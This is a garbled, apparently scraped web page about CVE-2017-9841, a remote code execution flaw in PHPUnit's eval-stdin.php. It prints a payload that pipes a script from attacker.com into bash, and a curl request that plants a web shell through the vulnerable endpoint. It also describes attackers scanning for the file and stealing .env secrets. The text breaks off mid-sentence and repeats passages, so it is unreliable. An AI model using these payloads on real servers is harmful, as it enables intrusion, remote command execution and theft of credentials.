Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit -

<?php system('curl http://attacker.com/shell.sh | bash'); ?>

The phrase you're asking about refers to CVE-2017-9841 , a critical Remote Code Execution (RCE) vulnerability in . This flaw exists in versions prior to directory is left web-accessible. National Institute of Standards and Technology (.gov) Vulnerability Mechanism The root cause is found in the src/Util/PHP/eval-stdin.php file, which contained the following line of code: . file_get_contents( 'php://input' Use code with caution. Copied to clipboard This script reads the raw body of an HTTP POST request via php://input and executes it directly through the vendor phpunit phpunit src util php eval-stdin.php exploit

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Attackers scan the internet (or specific targets) looking for the specific path of this file. Once found, they send a POST request containing the payload. file_get_contents( 'php://input' Use code with caution

The server executes the attacker's code, potentially allowing them to steal environment variables (like .env files), access databases, or install persistent malware. Why Is It Still Relevant? Attackers scan the internet (or specific targets) looking

However, for a cleaner exploit, they might use:

# Writing a web shell to the document root curl -X POST https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -d "<?php file_put_contents('shell.php', '<?php system(\$_REQUEST[\"cmd\"]); ?>'); ?>"